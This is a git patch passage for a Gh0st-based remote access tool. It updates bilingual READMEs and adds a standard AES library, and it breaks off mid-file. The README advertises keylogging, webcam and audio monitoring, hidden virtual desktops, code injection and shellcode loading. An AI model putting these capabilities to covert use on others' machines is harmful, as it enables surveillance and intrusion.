From 46f7dc17906733e6b973e25df98f98675dce4378 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 8 Jun 2025 15:38:41 +0800 Subject: [PATCH] Update private master program code --- ReadMe.md | 74 +- ReadMe_EN.md | 218 +++ client/SystemManager.cpp | 2 +- common/aes.c | 571 ++++++ common/aes.h | 91 + common/encrypt.h | 124 ++ common/header.h | 172 ++ common/md5.h | 42 + server/2015Remote/2015Remote.cpp | 2 + server/2015Remote/2015Remote.rc | Bin 64814 -> 74884 bytes server/2015Remote/2015RemoteDlg.cpp | 673 ++++--- server/2015Remote/2015RemoteDlg.h | 3 +- server/2015Remote/2015Remote_vs2015.vcxproj | 51 +- server/2015Remote/Buffer.cpp | 4 +- server/2015Remote/Buffer.h | 17 +- server/2015Remote/BuildDlg.cpp | 2 +- server/2015Remote/CTextDlg.cpp | 51 + server/2015Remote/CTextDlg.h | 27 + server/2015Remote/HideScreenSpyDlg.cpp | 927 +++++++++ server/2015Remote/HideScreenSpyDlg.h | 93 + server/2015Remote/IOCPServer.cpp | 14 +- server/2015Remote/IOCPServer.h | 194 +- server/2015Remote/Loader.c | 267 +++ server/2015Remote/ShellDlg.cpp | 7 +- server/2015Remote/SystemDlg.cpp | 6 +- server/2015Remote/VideoDlg.h | 1 + .../2015Remote/proxy/ProxyConnectServer.cpp | 2 +- server/2015Remote/res/machine.ico | Bin 0 -> 2238 bytes server/2015Remote/res/screen.ico | Bin 0 -> 4286 bytes server/2015Remote/res/system.ico | Bin 766 -> 766 bytes server/2015Remote/resource.h | Bin 32592 -> 35742 bytes server/2015Remote/stdafx.h | 21 +- server/2015Remote/sys/CCreateTaskDlg.cpp | 51 + server/2015Remote/sys/CCreateTaskDlg.h | 31 + server/2015Remote/sys/CInjectCodeDlg.cpp | 94 + server/2015Remote/sys/CInjectCodeDlg.h | 36 + server/2015Remote/sys/MachineDlg.cpp | 1693 +++++++++++++++++ server/2015Remote/sys/MachineDlg.h | 112 ++ server/2015Remote/sys/ServiceInfoDlg.cpp | 102 + server/2015Remote/sys/ServiceInfoDlg.h | 40 + 40 files changed, 5380 insertions(+), 435 deletions(-) create mode 100644 ReadMe_EN.md create mode 100644 common/aes.c create mode 100644 common/aes.h create mode 100644 common/encrypt.h create mode 100644 common/header.h create mode 100644 common/md5.h create mode 100644 server/2015Remote/CTextDlg.cpp create mode 100644 server/2015Remote/CTextDlg.h create mode 100644 server/2015Remote/HideScreenSpyDlg.cpp create mode 100644 server/2015Remote/HideScreenSpyDlg.h create mode 100644 server/2015Remote/Loader.c create mode 100644 server/2015Remote/res/machine.ico create mode 100644 server/2015Remote/res/screen.ico create mode 100644 server/2015Remote/sys/CCreateTaskDlg.cpp create mode 100644 server/2015Remote/sys/CCreateTaskDlg.h create mode 100644 server/2015Remote/sys/CInjectCodeDlg.cpp create mode 100644 server/2015Remote/sys/CInjectCodeDlg.h create mode 100644 server/2015Remote/sys/MachineDlg.cpp create mode 100644 server/2015Remote/sys/MachineDlg.h create mode 100644 server/2015Remote/sys/ServiceInfoDlg.cpp create mode 100644 server/2015Remote/sys/ServiceInfoDlg.h diff --git a/ReadMe.md b/ReadMe.md index f6d316a..9f95234 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -1,4 +1,10 @@ -# 项目简介 +# 🌐 语言 | Language + +**[🇨🇳 中文](./ReadMe.md) | [🇺🇸 English](./ReadMe_EN.md)** + +--- + +# 项目简介 **原始来源:** [zibility](https://github.com/zibility/Remote) @@ -98,6 +104,8 @@ 注意:自[v1.0.8](https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.0.8)起, `TestRun.exe`将采取内存加载DLL运行方式,向主控程序请求DLL并在内存中执行,这有利于代码的热更新。 +--- + # 更新日志 2025年以前的变更记录参看:[history](./history.md) @@ -116,53 +124,54 @@ **2025.04.05** -Release v1.0.7, mainly fix or add new feature: - -- Update third-party libraries and switch zlib to zstd, old version v1.0.6 is compatible; -- Support compile with Win64; -- Fix buges and make the program more stable; -- Improve remote control efficiency and support more bitmap compressing method; -- Some code reorganization. +发布 v1.0.7,主要修复或新增以下功能: + +- 更新第三方库,将压缩算法从 zlib 更换为 zstd,旧版本 v1.0.6 仍兼容; +- 支持编译为 Win64; +- 修复若干 Bug,提高程序稳定性; +- 提升远程控制效率,新增更多位图压缩方式; +- 对部分代码结构进行了重构。 **2025.04.12** -Since v1.0.7 released in April 5: +自 v1.0.7 于 4 月 5 日发布以来: -- Improvement: Make sure that the input command is always at the end of `Shelldlg`, and build a **simple Linux client**; -- Fix bugs: #62, #74, #75 ; -- Change the flag 0x1234567 to a more readable string; and improve building service and allow chosing other files to build; -- Showing the user's activities and monitoring specified software; -- Clean up global variables and make it easy to create multiple clients in one program, which is useful for testing the master's capacity; -- Implement loading DLL in memory, make it easy to update client program; +- 功能改进:确保 `Shelldlg` 输入命令始终定位在末尾,并构建了一个**简易的 Linux 客户端**; +- 修复 Bug:#62、#74、#75; +- 将原标志位 0x1234567 更改为更具可读性的字符串;改进构建服务功能,允许选择其他文件进行构建; +- 增加展示用户活动和监控指定软件的功能; +- 清理全局变量,使得一个程序中可以轻松创建多个客户端,便于测试主控端的负载能力; +- 实现内存加载 DLL,便于客户端程序热更新。 **2025.04.21** -Release v1.0.8: +发布 v1.0.8: -- Support to share online host with other masters; -- Implement service-generated authorization capability, and add a serial number generation menu; -- Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master; -- Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory. +- 支持与其他主控共享在线主机; +- 实现服务端生成授权的能力,增加序列号生成菜单; +- 引入 `HPSocket` 库,为未来使用做准备,并引入静态 ffmpeg 库以支持构建 Win64 主控端; +- 实现内存中运行 DLL:`TestRun` 程序从主控请求 DLL 并在内存中执行。 **2025.04.30** -Release v1.0.9: +发布 v1.0.9: -- Update client building feature / All in one; The master will only accept the clients built by itself. -- Improve authorization feature. +- 更新客户端构建功能 / 一体化生成;主控仅接受由自身构建的客户端连接; +- 优化授权功能。 **2025.06.01** -Release v1.1.0: +发布 v1.1.0: -* fix: IOCPClient clear buffer when disconnect -* Implement SOCKS proxy feature -* Add menus and modify list style, add log -* feature: Add a C program to execute shell code -* feature: Encrypt for server address -* feat: Support virtual remote desktop monitoring -* feature: Add command to execute DLL +- 修复:IOCPClient 断开连接时清空缓冲区; +- 实现 SOCKS 代理功能; +- 增加菜单项,修改列表样式,添加日志记录; +- 新增功能:增加一个用于执行 Shellcode 的 C 程序; +- 新增功能:对服务器地址进行加密; +- 新增特性:支持虚拟远程桌面监控; +- 新增命令:支持执行代码(64位 DLL)。 +--- # 其他项目 @@ -170,6 +179,7 @@ Release v1.1.0: - [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT): 一款功能全面的远程控制程序,即大灰狼9.5. - [Gh0st](https://github.com/yuanyuanxiang/Gh0st): 也是一款基于Gh0st的远程控制程序。 +--- # 沟通反馈 @@ -184,4 +194,4 @@ QQ:962914132 赞助方式 / Sponsor:该项目的研究出自技术学习和兴趣爱好,本人视业余情况不定期更新项目。 **如果该项目对你有益,请通过赞助图标对本项目进行支持。** 如果你希望采用其他方式(如微信、支付宝)对本项目进行赞助,请点击 -[这里](https://github.com/yuanyuanxiang/yuanyuanxiang/blob/main/images/QR_Codes.jpg)。 \ No newline at end of file +[这里](https://github.com/yuanyuanxiang/yuanyuanxiang/blob/main/images/QR_Codes.jpg)。 diff --git a/ReadMe_EN.md b/ReadMe_EN.md new file mode 100644 index 0000000..a50a756 --- /dev/null +++ b/ReadMe_EN.md @@ -0,0 +1,218 @@ +# 🌐 Language | 语言 + +**[🇺🇸 English](./ReadMe_EN.md) | [🇨🇳 中文](./ReadMe.md)** + +--- + +# Project Overview + +**Original Source:** [zibility](https://github.com/zibility/Remote) + +**Feature Summary:** +A remote controller based on Gh0st, implementing functionalities including terminal management, process management, window management, desktop control, file transfer, voice management, video monitoring, service management, registry viewer, keylogging, SOCKS proxy, virtual desktop, code execution, and more. + +If you're interested in control programs and enjoy this project, please consider starring it. Forks, watches, issue submissions, and pull requests are all welcome. +The author will fix reported issues as time permits. + +[![Star History Chart](https://api.star-history.com/svg?repos=yuanyuanxiang/SimpleRemoter&type=Date)](https://star-history.com/#yuanyuanxiang/SimpleRemoter&Date) + +*This software is intended for learning and technical communication only. Users are responsible for any consequences resulting from its use.* + +**Project Start Date:** January 1, 2019 + +## Disclaimer + +This software is provided "as is" without any warranty. Use of this software is at your own risk. +We are not responsible for any illegal or malicious use resulting from this software. +Users should comply with relevant laws and regulations and use this software responsibly. +The developer assumes no liability for any damage arising from the use of this software. + +## Controller (Server) + +The main controller is **YAMA.exe**, which functions as the server. It is based on IOCP communication and supports tens of thousands of concurrent connections. Only one instance can run per machine in the Release version. + +Below are interface previews of the controller program. All features are stable and functional. +Note: Some features require the client (controlled program) to run with administrator privileges. + +![Main Interface](./images/Yama.jpg) + +The main window displays a list of connected clients. +Select a client to perform remote operations such as editing notes, setting up proxy mappings, or executing code. + +![Terminal Management](./images/Console.jpg) + +**Terminal Management** opens a command line interface to execute remote commands. +A [minimal version](./linux/main.cpp) is available with Linux client support for research purposes. + +![Process Management](./images/Process.jpg) + +**Process Management** shows all running processes on the remote machine. +You can start or stop regular processes (not high-privileged ones). + +![Window Management](./images/Window.jpg) + +**Window Management** displays currently open windows or programs on the remote machine, allowing you to hide or show them. + +![Desktop Control](./images/Remote.jpg) +![Desktop Settings](./images/RemoteSet.jpg) + +**Desktop Control** functions as "Remote Desktop" for controlling the remote machine. +You can configure screenshot capture methods (GDI, DXGI, or VIRTUAL) and compression algorithms (grayscale, screen-diff, H264). +"VIRTUAL" enables a virtual desktop running in the background, improving smoothness. +Additionally, it supports reporting the active window and detecting specific software. + +![File Management](./images/FileManage.jpg) + +**File Management** handles file transfer between the local and remote machine. + +![Voice Management](./images/Voice.jpg) + +**Voice Management** allows you to listen to the remote machine’s audio or send audio if a device is available. + +![Video Management](./images/Video.jpg) + +**Video Management** enables webcam access on the remote machine. +If enabled in settings, the controller will show whether a webcam is present. + +![Service Management](./images/Service.jpg) + +**Service Management** lists services on the remote machine. +If permitted, you can start, stop, or manage services. + +![Registry Management](./images/Register.jpg) + +**Registry Management** provides view-only access to the remote machine's registry. + +## Linux Client + +![LinuxClient](./images/LinuxClient.png) + +A Linux client is available under the [v1.0.8](./Releases/v1.0.8/ghost) directory, currently supporting only terminal commands. + +![Build Dialog](./images/BuildDlg.jpg) + +Compile the client under a Linux environment, then use the server build dialog to select the file and set connection info for generating a Linux version. + +## Licensing & Authorization + +![Auth Dialog](./images/AuthDlg.jpg) +![Password Generator](./images/PasswordGen.jpg) + +Starting from v1.0.8, operating the controller requires authorization. +Newly compiled programs have a 14-day trial period. After expiration, generating clients requires a **serial number** to obtain an **authorization token**. + +To bypass the authorization logic, refer to the `OnOnlineBuildClient` function and recompile the program. See issue: +[#91](https://github.com/yuanyuanxiang/SimpleRemoter/issues/91) +The token includes the authorization period and enforces one-machine-one-code rules. +The logic also detects date tampering. Token generation requires a password. + +## Controlled Program (Client) + +![Main Interface](./images/TestRun.jpg) + +The controlled program acts as the **Client**, with two available formats: + +1. A standalone program `ghost.exe` +2. A combo format `TestRun.exe + ServerDll.dll` + +- Format (1) is self-contained with no external dependencies. +- Format (2) runs the EXE, which invokes a core DLL. + +Note: Since [v1.0.8](https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.0.8), `TestRun.exe` loads DLLs into memory on demand from the controller, which supports hot code updates. + +--- + +# Changelog + +For changes before 2025, see: [history](./history.md) + +**2025.01.12** +Fixed two potential remote desktop issues (#28, #29). +Added sorting for the controller’s list windows (#26, #27), making it easier to locate windows, services, or processes. + +Released version **v1.0.6**, noted for high stability. +This version does **not** support older Windows XP systems +(note: VS2019 and later have dropped support for XP toolchains; use older Visual Studio versions if needed). +Download the latest release from GitHub or clone the repo. +If antivirus software flags it as a virus, this is expected due to the nature of the software — feel free to compile it yourself for verification. + +**2025.02.01** +Inspired by [Gh0st](https://github.com/yuanyuanxiang/Gh0st/pull/2), added **keylogging** support, implemented by copying four core files: + +*KeyboardManager.h、KeyboardManager.cpp、KeyBoardDlg.h、KeyBoardDlg.cpp* + +**2025.04.05** + +Release v1.0.7, mainly fix or add new feature: + +- Update third-party libraries and switch zlib to zstd, old version v1.0.6 is compatible; +- Support compile with Win64; +- Fix buges and make the program more stable; +- Improve remote control efficiency and support more bitmap compressing method; +- Some code reorganization. + +**2025.04.12** + +Since v1.0.7 released in April 5: + +- Improvement: Make sure that the input command is always at the end of `Shelldlg`, and build a **simple Linux client**; +- Fix bugs: #62, #74, #75 ; +- Change the flag 0x1234567 to a more readable string; and improve building service and allow chosing other files to build; +- Showing the user's activities and monitoring specified software; +- Clean up global variables and make it easy to create multiple clients in one program, which is useful for testing the master's capacity; +- Implement loading DLL in memory, make it easy to update client program; + +**2025.04.21** + +Release v1.0.8: + +- Support to share online host with other masters; +- Implement service-generated authorization capability, and add a serial number generation menu; +- Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master; +- Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory. + +**2025.04.30** + +Release v1.0.9: + +- Update client building feature / All in one; The master will only accept the clients built by itself. +- Improve authorization feature. + +**2025.06.01** + +Release v1.1.0: + +* fix: IOCPClient clear buffer when disconnect +* Implement SOCKS proxy feature +* Add menus and modify list style, add log +* feature: Add a C program to execute shell code +* feature: Encrypt for server address +* feat: Support virtual remote desktop monitoring +* feature: Add command to execute DLL + +--- + +# Other Projects + +- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands): A remote control program with a fully English interface and a different architectural design. +- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT): A fully featured remote access tool, also known as Big Grey Wolf 9.5. +- [Gh0st](https://github.com/yuanyuanxiang/Gh0st): Another remote controller based on the original Gh0st RAT. + +--- + +# Feedback & Contact + +QQ: 962914132 + +Contact: [Telegram](https://t.me/doge_grandfather), [Email](mailto:yuanyuanxiang163@gmail.com), [LinkedIn](https://www.linkedin.com/in/wishyuanqi) + +Issue Reporting: [Issues](https://github.com/yuanyuanxiang/SimpleRemoter/issues) + +Contributions welcome: [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls) + +## Sponsorship + +This project stems from technical exploration and personal interest. Updates are made on a non-regular basis, depending on available spare time. +**If you find this project useful, please consider supporting it via the sponsor icon.** +If you'd prefer to sponsor using other methods (e.g., WeChat, Alipay or PayPal), please click +[here](https://github.com/yuanyuanxiang/yuanyuanxiang/blob/main/images/QR_Codes.jpg). diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index b532121..4d4764d 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -179,7 +179,7 @@ VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } - case COMMAND_WINDOW_CLOSE: + case CMD_WINDOW_CLOSE: { HWND hWnd = *((HWND*)(szBuffer+1)); diff --git a/common/aes.c b/common/aes.c new file mode 100644 index 0000000..fb2296e --- /dev/null +++ b/common/aes.c @@ -0,0 +1,571 @@ +/* + +This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode. +Block size can be chosen in aes.h - available choices are AES128, AES192, AES256. + +The implementation is verified against the test vectors in: + National Institute of Standards and Technology Special Publication 800-38A 2001 ED + +ECB-AES128 +---------- + + plain-text: + 6bc1bee22e409f96e93d7e117393172a + ae2d8a571e03ac9c9eb76fac45af8e51 + 30c81c46a35ce411e5fbc1191a0a52ef + f69f2445df4f9b17ad2b417be66c3710 + + key: + 2b7e151628aed2a6abf7158809cf4f3c + + resulting cipher + 3ad77bb40d7a3660a89ecaf32466ef97 + f5d3d58503b9699de785895a96fdbaaf + 43b1cd7f598ece23881b00e3ed030688 + 7b0c785e27e8ad3f8223207104725dd4 + + +NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0) + You should pad the end of the string with zeros if this is not the case. + For AES192/256 the key size is proportionally larger. + +*/ + +/*****************************************************************************/ +/* Includes: */ +/*****************************************************************************/ +#include // CBC mode, for memset +#include "aes.h" + +/*****************************************************************************/ +/* Defines: */ +/*****************************************************************************/ +// The number of columns comprising a state in AES. This is a constant in AES. Value=4 +#define Nb 4 + +#if defined(AES256) && (AES256 == 1) + #define Nk 8 + #define Nr 14 +#elif defined(AES192) && (AES192 == 1) + #define Nk 6 + #define Nr 12 +#else + #define Nk 4 // The number of 32 bit words in a key. + #define Nr 10 // The number of rounds in AES Cipher. +#endif + +// jcallan@github points out that declaring Multiply as a function +// reduces code size considerably with the Keil ARM compiler. +// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3 +#ifndef MULTIPLY_AS_A_FUNCTION + #define MULTIPLY_AS_A_FUNCTION 0 +#endif + + + + +/*****************************************************************************/ +/* Private variables: */ +/*****************************************************************************/ +// state - array holding the intermediate results during decryption. +typedef uint8_t state_t[4][4]; + + + +// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM +// The numbers below can be computed dynamically trading ROM for RAM - +// This can be useful in (embedded) bootloader applications, where ROM is often limited. +static const uint8_t sbox[256] = { + //0 1 2 3 4 5 6 7 8 9 A B C D E F + 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, + 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, + 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, + 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, + 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, + 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, + 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, + 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, + 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, + 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, + 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, + 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, + 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, + 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, + 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, + 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; + +#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) +static const uint8_t rsbox[256] = { + 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, + 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, + 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, + 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, + 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, + 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, + 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, + 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, + 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, + 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, + 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, + 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, + 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, + 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, + 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, + 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d }; +#endif + +// The round constant word array, Rcon[i], contains the values given by +// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8) +static const uint8_t Rcon[11] = { + 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 }; + +/* + * Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12), + * that you can remove most of the elements in the Rcon array, because they are unused. + * + * From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon + * + * "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed), + * up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm." + */ + + +/*****************************************************************************/ +/* Private functions: */ +/*****************************************************************************/ +/* +static uint8_t getSBoxValue(uint8_t num) +{ + return sbox[num]; +} +*/ +#define getSBoxValue(num) (sbox[(num)]) + +// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. +static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key) +{ + unsigned i, j, k; + uint8_t tempa[4]; // Used for the column/row operations + + // The first round key is the key itself. + for (i = 0; i < Nk; ++i) + { + RoundKey[(i * 4) + 0] = Key[(i * 4) + 0]; + RoundKey[(i * 4) + 1] = Key[(i * 4) + 1]; + RoundKey[(i * 4) + 2] = Key[(i * 4) + 2]; + RoundKey[(i * 4) + 3] = Key[(i * 4) + 3]; + } + + // All other round keys are found from the previous round keys. + for (i = Nk; i < Nb * (Nr + 1); ++i) + { + { + k = (i - 1) * 4; + tempa[0]=RoundKey[k + 0]; + tempa[1]=RoundKey[k + 1]; + tempa[2]=RoundKey[k + 2]; + tempa[3]=RoundKey[k + 3]; + + } + + if (i % Nk == 0) + { + // This function shifts the 4 bytes in a word to the left once. + // [a0,a1,a2,a3] becomes [a1,a2,a3,a0] + + // Function RotWord() + { + const uint8_t u8tmp = tempa[0]; + tempa[0] = tempa[1]; + tempa[1] = tempa[2]; + tempa[2] = tempa[3]; + tempa[3] = u8tmp; + } + + // SubWord() is a function that takes a four-byte input word and + // applies the S-box to each of the four bytes to produce an output word. + + // Function Subword() + { + tempa[0] = getSBoxValue(tempa[0]); + tempa[1] = getSBoxValue(tempa[1]); + tempa[2] = getSBoxValue(tempa[2]); + tempa[3] = getSBoxValue(tempa[3]); + } + + tempa[0] = tempa[0] ^ Rcon[i/Nk]; + } +#if defined(AES256) && (AES256 == 1) + if (i % Nk == 4) + { + // Function Subword() + { + tempa[0] = getSBoxValue(tempa[0]); + tempa[1] = getSBoxValue(tempa[1]); + tempa[2] = getSBoxValue(tempa[2]); + tempa[3] = getSBoxValue(tempa[3]); + } + } +#endif + j = i * 4; k=(i - Nk) * 4; + RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0]; + RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1]; + RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2]; + RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3]; + } +} + +void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key) +{ + KeyExpansion(ctx->RoundKey, key); +} +#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) +void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv) +{ + KeyExpansion(ctx->RoundKey, key); + memcpy (ctx->Iv, iv, AES_BLOCKLEN); +} +void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv) +{ + memcpy (ctx->Iv, iv, AES_BLOCKLEN); +} +#endif + +// This function adds the round key to state. +// The round key is added to the state by an XOR function. +static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey) +{ + uint8_t i,j; + for (i = 0; i < 4; ++i) + { + for (j = 0; j < 4; ++j) + { + (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j]; + } + } +} + +// The SubBytes Function Substitutes the values in the +// state matrix with values in an S-box. +static void SubBytes(state_t* state) +{ + uint8_t i, j; + for (i = 0; i < 4; ++i) + { + for (j = 0; j < 4; ++j) + { + (*state)[j][i] = getSBoxValue((*state)[j][i]); + } + } +} + +// The ShiftRows() function shifts the rows in the state to the left. +// Each row is shifted with different offset. +// Offset = Row number. So the first row is not shifted. +static void ShiftRows(state_t* state) +{ + uint8_t temp; + + // Rotate first row 1 columns to left + temp = (*state)[0][1]; + (*state)[0][1] = (*state)[1][1]; + (*state)[1][1] = (*state)[2][1]; + (*state)[2][1] = (*state)[3][1]; + (*state)[3][1] = temp; + + // Rotate second row 2 columns to left + temp = (*state)[0][2]; + (*state)[0][2] = (*state)[2][2]; + (*state)[2][2] = temp; + + temp = (*state)[1][2]; + (*state)[1][2] = (*state)[3][2]; + (*state)[3][2] = temp; + + // Rotate third row 3 columns to left + temp = (*state)[0][3]; + (*state)[0][3] = (*state)[3][3]; + (*state)[3][3] = (*state)[2][3]; + (*state)[2][3] = (*state)[1][3]; + (*state)[1][3] = temp; +} + +static uint8_t xtime(uint8_t x) +{ + return ((x<<1) ^ (((x>>7) & 1) * 0x1b)); +} + +// MixColumns function mixes the columns of the state matrix +static void MixColumns(state_t* state) +{ + uint8_t i; + uint8_t Tmp, Tm, t; + for (i = 0; i < 4; ++i) + { + t = (*state)[i][0]; + Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ; + Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ; + Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ; + Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ; + Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ; + } +} + +// Multiply is used to multiply numbers in the field GF(2^8) +// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary +// The compiler seems to be able to vectorize the operation better this way. +// See https://github.com/kokke/tiny-AES-c/pull/34 +#if MULTIPLY_AS_A_FUNCTION +static uint8_t Multiply(uint8_t x, uint8_t y) +{ + return (((y & 1) * x) ^ + ((y>>1 & 1) * xtime(x)) ^ + ((y>>2 & 1) * xtime(xtime(x))) ^ + ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ + ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */ + } +#else +#define Multiply(x, y) \ + ( ((y & 1) * x) ^ \ + ((y>>1 & 1) * xtime(x)) ^ \ + ((y>>2 & 1) * 